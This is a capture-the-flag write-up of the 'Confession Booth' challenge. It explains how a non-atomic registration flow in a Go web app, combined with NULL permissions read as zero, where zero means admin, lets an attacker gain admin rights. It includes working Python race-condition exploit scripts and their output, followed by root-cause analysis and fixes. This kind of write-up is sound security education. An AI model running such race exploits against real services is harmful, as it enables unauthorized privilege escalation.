Confession Booth CTF: Race Condition Privilege Escalation - Complete Technical Writeup
Challenge Description
Someone set up a Hacker Confession Booth claiming it's a safe space to spill secrets.
Word on the street is that it's a trap - the admin is manually filtering confessions.
Time to expose the truth.
HINT: If you didn't become an admin yet, you didn't try enough times
"This challenge demonstrates how even a subtle bug can become a critical security vulnerability."
Phase 1: Source Code Analysis
Project Overview
The application is a Go-based web application using:
| Component | Technology |
|---|---|
| Framework | Echo v4 |
| Database | PostgreSQL |
| Authentication | JWT (HS512) with bcrypt password hashing |
| Template Engine | Go's html/template |
Key Files Analyzed
1. Database Schema (database/database.go)
createTableSQL := `
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL,
profile_picture_url TEXT,
permission_level INT, // <-- NO DEFAULT VALUE!
bio TEXT
);
CREATE TABLE confessions (
id SERIAL PRIMARY KEY,
user_id INT REFERENCES users(id) ON DELETE CASCADE,
content TEXT NOT NULL,
show INT DEFAULT 0,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
`
Key observation: The permission_level column has no DEFAULT value, meaning new rows have NULL for this field until explicitly set.
2. Permission Constants (config/constants.go)
package config
const (
PermissionAdmin = 0 // <-- Admin is 0!
PermissionUser = 1
)
const AUTO_ADMIN_USER = false
Key observation: Admin permission is 0, which is the zero-value for Go integers.
3. Registration Handler (handlers/auth_handlers.go)
func RegisterHandler(c echo.Context) error {
// ... validation ...
hashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
if err != nil {
return c.String(http.StatusInternalServerError, "Failed to hash password")
}
// STEP 1: Create user - permission_level is NULL at this point
userID, err := database.CreateUser(username, string(hashedPassword), profilePicURL)
if err != nil {
return c.String(http.StatusInternalServerError, "Username already exists")
}
// RACE WINDOW EXISTS HERE!
targetPerms := config.PermissionUser
if config.AUTO_ADMIN_USER {
targetPerms = config.PermissionAdmin
}
// STEP 2: Set permissions to User (1)
if err := database.UpdateUserPermissions(userID, targetPerms); err != nil {
return c.String(http.StatusInternalServerError, "Failed to set user permissions")
}
return c.Redirect(http.StatusSeeOther, "/auth/login")
}
Critical finding: User creation and permission assignment are TWO SEPARATE, NON-ATOMIC operations.
4. Login Handler (handlers/auth_handlers.go)
func LoginHandler(c echo.Context) error {
// ...
var userID int
var dbHashedPassword string
var userPerms int // <-- Regular int, not sql.NullInt64
selectStmt := `SELECT id, password_hash, permission_level FROM users WHERE username = $1`
err := database.DB.QueryRow(selectStmt, username).Scan(&userID, &dbHashedPassword, &userPerms)
if err == sql.ErrNoRows {
return c.String(http.StatusUnauthorized, "Invalid credentials")
}
if err := bcrypt.CompareHashAndPassword([]byte(dbHashedPassword), []byte(password)); err != nil {
return c.String(http.StatusUnauthorized, "Invalid credentials")
}
// JWT created with whatever userPerms was scanned
token, err := auth.CreateJWT(userID, userPerms)
// ...
}
Critical finding: When permission_level is NULL in the database, scanning into a Go int results in 0 (the zero-value), which equals PermissionAdmin.
5. Admin Middleware (auth/auth.go)
func AdminMiddleware(next echo.HandlerFunc) echo.HandlerFunc {
return func(c echo.Context) error {
perms, ok := c.Get("userPerms").(int)
if !ok || perms != config.PermissionAdmin {
// Block access
return c.Render(http.StatusForbidden, "error.html",
map[string]interface{}{"Message": "Admin access required"})
}
return next(c)
}
}
6. Flag Endpoint (handlers/admin_handlers.go)
func ApproveConfessionHandler(c echo.Context) error {
idParam := c.Param("id")
if idParam == "flag" {
flag, err := os.ReadFile("/flag.txt")
if err != nil {
return c.String(http.StatusInternalServerError, "Flag not found")
}
return c.JSON(http.StatusOK, map[string]string{"flag": string(flag)})
}
// ... normal approval logic
}
Phase 2: Vulnerability Identification
The Race Condition
Timeline of Registration Request:
─────────────────────────────────────────────────────────────────────
[1] CreateUser() executes
→ User inserted with permission_level = NULL
[2] *** RACE WINDOW ***
→ User exists in DB
→ Password hash is valid
→ permission_level is still NULL
[3] UpdateUserPermissions() executes
→ permission_level set to 1 (User)
─────────────────────────────────────────────────────────────────────
If a login request is processed during the race window (step 2):
- User exists → login proceeds
- Password validates → authentication succeeds
permission_levelisNULL→ scans as0in Go0 == PermissionAdmin→ JWT created with admin privileges
Attack Vector
- Send registration and login requests concurrently
- If login hits the race window, receive admin JWT
- Use admin JWT to access
/admin/confessions/approve/flag - Retrieve flag
Phase 3: Initial Exploit Attempts (Failures)
Attempt 1: Basic Threading with urllib (Failed)
#!/usr/bin/env python3
"""
Race condition exploit for Confession Booth CTF
Exploits the window between CreateUser and UpdateUserPermissions
"""
import urllib.request
import urllib.parse
import urllib.error
import threading
import time
import random
import string
import json
import ssl
BASE_URL = "https://....confession-booth.challenges.wiz-research.com"
ssl_context = ssl.create_default_context()
def random_username():
return ''.join(random.choices(string.ascii_lowercase, k=10))
def attempt_exploit(username, password):
login_result = {'token': None, 'error': None}
def register():
try:
data = urllib.parse.urlencode({
'username': username,
'password': password,
'profile_picture_url': 'https://ui-avatars.com/api/?name=test'
}).encode()
req = urllib.request.Request(f"{BASE_URL}/auth/register", data=data, method='POST')
urllib.request.urlopen(req, timeout=10, context=ssl_context)
except Exception as e:
pass
def login():
try:
time.sleep(0.001) # Tiny delay
data = urllib.parse.urlencode({
'username': username,
'password': password
}).encode()
req = urllib.request.Request(f"{BASE_URL}/auth/login", data=data, method='POST')
resp = urllib.request.urlopen(req, timeout=10, context=ssl_context)
if resp.status == 200:
body = json.loads(resp.read().decode())
login_result['token'] = body.get('token')
except Exception as e:
login_result['error'] = str(e)
t_register = threading.Thread(target=register)
t_login = threading.Thread(target=login)
t_register.start()
t_login.start()
t_register.join()
t_login.join()
return login_result['token']
Result: 100 attempts, all failed with "No token (login failed)"
Problem: Login requests were arriving either before user creation (invalid credentials) or after permission update (normal user token).
Attempt 2: Concurrent Futures with More Parallelism (Failed)
Tried using concurrent.futures.ThreadPoolExecutor with 20 workers and 15 concurrent login attempts per registration.
Result: 200 attempts, all failed with "No tokens"
Problem: Still not achieving true parallelism due to Python's GIL and synchronous HTTP library.
Attempt 3: Bash with Background Curl (Failed)
Tried spawning background curl processes for true parallelism.
Result: 300+ attempts, all failed
Problem: All requests returned "Missing authentication token" — I discovered the CTF platform requires its own authentication cookie.
Phase 4: Discovery - Platform Authentication
When testing basic connectivity:
$ curl -s "https://...confession-booth.challenges.wiz-research.com/healthz"
Missing authentication token
The CTF platform wraps the challenge with its own authentication layer. I extracted the platform token from my browser's cookie storage:
Cookie: token=[PLATFORM_JWT_REDACTED]
With the platform token included:
$ curl -s -b "token=[PLATFORM_JWT]" "https://...confession-booth.challenges.wiz-research.com/healthz"
ok
Now I could proceed with the actual exploit.
Phase 5: Successful Exploit
Environment Setup
python3 -m venv venv
source venv/bin/activate
pip install aiohttp
Final Exploit Code (aiohttp - Async)
#!/usr/bin/env python3
"""
Async race condition exploit for Confession Booth CTF
Uses aiohttp for truly parallel HTTP requests
"""
import asyncio
import aiohttp
import random
import string
BASE_URL = "https://....confession-booth.challenges.wiz-research.com"
PLATFORM_TOKEN = "[YOUR_PLATFORM_JWT_HERE]"
def random_username():
return ''.join(random.choices(string.ascii_lowercase, k=10))
async def do_register(session, username, password):
try:
async with session.post(f"{BASE_URL}/auth/register", data={
'username': username,
'password': password,
'profile_picture_url': 'https://ui-avatars.com/api/?name=test'
}) as resp:
return await resp.text()
except Exception as e:
return str(e)
async def do_login(session, username, password):
try:
async with session.post(f"{BASE_URL}/auth/login", data={
'username': username,
'password': password
}) as resp:
if resp.status == 200:
data = await resp.json()
return data.get('token')
except:
pass
return None
async def check_admin(session, token):
try:
cookies = {'token': PLATFORM_TOKEN, 'booth_session': token}
async with session.get(f"{BASE_URL}/admin", cookies=cookies) as resp:
return resp.status == 200
except:
return False
async def get_flag(session, token):
try:
cookies = {'token': PLATFORM_TOKEN, 'booth_session': token}
async with session.post(f"{BASE_URL}/admin/confessions/approve/flag",
cookies=cookies) as resp:
return await resp.text()
except Exception as e:
return str(e)
async def race_attempt(session, username, password, num_logins=30):
"""Fire registration and many login attempts simultaneously."""
tasks = [do_register(session, username, password)]
for _ in range(num_logins):
tasks.append(do_login(session, username, password))
results = await asyncio.gather(*tasks, return_exceptions=True)
tokens = []
for r in results[1:]:
if isinstance(r, str) and r and len(r) > 50:
tokens.append(r)
return tokens
async def main():
password = "password123"
max_attempts = 500
connector = aiohttp.TCPConnector(limit=100, limit_per_host=50)
cookies = {'token': PLATFORM_TOKEN}
async with aiohttp.ClientSession(connector=connector, cookies=cookies) as session:
for i in range(max_attempts):
username = random_username()
print(f"[{i+1}] Racing with {username}...", end=" ", flush=True)
tokens = await race_attempt(session, username, password, num_logins=30)
if tokens:
print(f"Got {len(tokens)} token(s)!")
for token in tokens:
if await check_admin(session, token):
print(f"\n[!] SUCCESS - Admin access!")
print(f"[*] Token: {token[:60]}...")
flag = await get_flag(session, token)
print(f"[FLAG] {flag}")
return
print(" No admin access (race lost)")
else:
print("No tokens")
if __name__ == "__main__":
asyncio.run(main())
Execution Output
[*] Async race condition exploit
[*] Target: https://....confession-booth.challenges.wiz-research.com
[*] Using aiohttp with platform authentication
[1] Racing with vsasgfhfnf... Got 1 token(s)!
No admin access (race lost)
[2] Racing with lmdodushgf... Got 1 token(s)!
No admin access (race lost)
[3] Racing with wpqrhrvnfm... No tokens
[4] Racing with zjcilaaceb... No tokens
[5] Racing with xvlzvenofh... Got 10 token(s)!
[!] SUCCESS - Admin access!
[*] Token: eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.[REDACTED]...
[*] Fetching flag...
[FLAG] {"flag":"WIZ_CTF{REDACTED}"}
Success on attempt #5! Out of 30 concurrent login requests, 10 successfully obtained tokens, and at least one had admin privileges.
Root Cause Analysis
The Vulnerability Chain
- Non-Atomic Operation: Two separate database calls with a gap between them
userID, err := database.CreateUser(...) // User has NULL permissions // ← VULNERABLE WINDOW database.UpdateUserPermissions(userID, config.PermissionUser) // Sets to 1 - Unsafe NULL Handling: Scanning NULL into Go int results in zero-value
var userPerms int // Should be sql.NullInt64 // NULL → 0 (Go zero-value) - Dangerous Permission Values: Zero-value equals most privileged
PermissionAdmin = 0 // Zero-value = most privileged PermissionUser = 1
Recommended Fixes
| Fix | Implementation |
|---|---|
| Database Transaction | Wrap CreateUser and UpdatePermissions in a single transaction |
| Schema Default | permission_level INT DEFAULT 1 - Default to User, not NULL |
| Safer Permission Values | Use PermissionUser = 0 and PermissionAdmin = 1 |
| Explicit NULL Handling | Use sql.NullInt64 and check .Valid before using |
Lessons Learned
- Atomicity matters: Related database operations should be wrapped in transactions
- Zero-values are dangerous: Never use zero/NULL as the most privileged state
- Validate assumptions: NULL handling in type conversions can have unexpected results
- Race conditions are subtle: The time window was tiny, but exploitable with enough parallelism
- Defense in depth: Multiple fixes would have prevented this single vulnerability
Security Implications
- Registration flows are critical: The window between user creation and permission assignment must be atomic
- Type safety matters: Go's zero-value behavior combined with SQL NULL can create privilege escalation paths
- Async exploits are powerful: True parallelism with aiohttp succeeded where threading failed
- Platform authentication adds complexity: CTF infrastructure can require additional authentication layers
Conclusion
The "Confession Booth" challenge demonstrated how a subtle race condition combined with unsafe NULL handling and unfortunate permission value choices can lead to privilege escalation. The vulnerability existed in a tiny window between two database operations, but was reliably exploitable with proper async tooling.
The hint "If you didn't become an admin yet, you didn't try enough times" was key — the race condition required many concurrent attempts to hit the vulnerable window. Once I switched from synchronous threading to async HTTP with aiohttp, the exploit succeeded within just 5 attempts.
Challenge created by Ronen Shustin as part of the Wiz Research CTF. Writeup completed: January 2026